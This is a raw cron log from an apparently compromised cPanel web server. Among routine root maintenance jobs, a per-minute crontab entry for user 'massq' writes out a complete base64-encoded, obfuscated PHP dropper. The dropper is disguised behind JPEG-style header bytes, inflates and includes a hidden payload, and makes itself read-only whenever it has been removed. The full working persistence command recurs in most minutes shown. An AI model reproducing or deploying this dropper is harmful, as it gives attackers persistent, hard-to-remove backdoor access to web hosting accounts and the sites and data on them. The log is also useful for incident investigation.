Sep  6 11:25:01 server CROND[19026]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 11:25:01 server CROND[19028]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 11:25:01 server CROND[19025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:25:01 server CROND[19030]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:26:01 server CROND[19848]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:26:01 server CROND[19849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:26:01 server CROND[19850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:27:01 server CROND[20230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:27:01 server CROND[20231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:27:01 server CROND[20232]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 11:27:01 server CROND[20233]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:28:01 server CROND[20606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:28:01 server CROND[20607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:28:01 server CROND[20609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:29:01 server CROND[21072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:29:01 server CROND[21073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:29:01 server CROND[21074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:30:01 server CROND[21447]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 11:30:01 server CROND[21449]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 11:30:01 server CROND[21459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:30:01 server CROND[21458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:30:01 server CROND[21461]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 11:30:01 server CROND[21465]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 11:30:01 server CROND[21460]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 11:30:01 server CROND[21462]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:31:01 server CROND[22268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:31:01 server CROND[22269]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:31:01 server CROND[22270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:32:01 server CROND[22666]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:32:01 server CROND[22667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:32:01 server CROND[22668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:33:01 server CROND[23230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:33:01 server CROND[23231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:33:01 server CROND[23232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:34:01 server CROND[23710]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:34:01 server CROND[23711]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:34:01 server CROND[23712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:35:01 server CROND[24100]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 11:35:01 server CROND[24102]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 11:35:01 server CROND[24103]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:35:01 server CROND[24106]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 11:35:01 server CROND[24110]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 11:35:01 server CROND[24104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:35:01 server CROND[24108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:35:01 server CROND[24105]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 11:35:01 server CROND[24107]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 11:36:01 server CROND[24968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 11:36:01 server CROND[24969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 11:36:01 server CROND[24970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 11:37:01 server CROND[25340]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
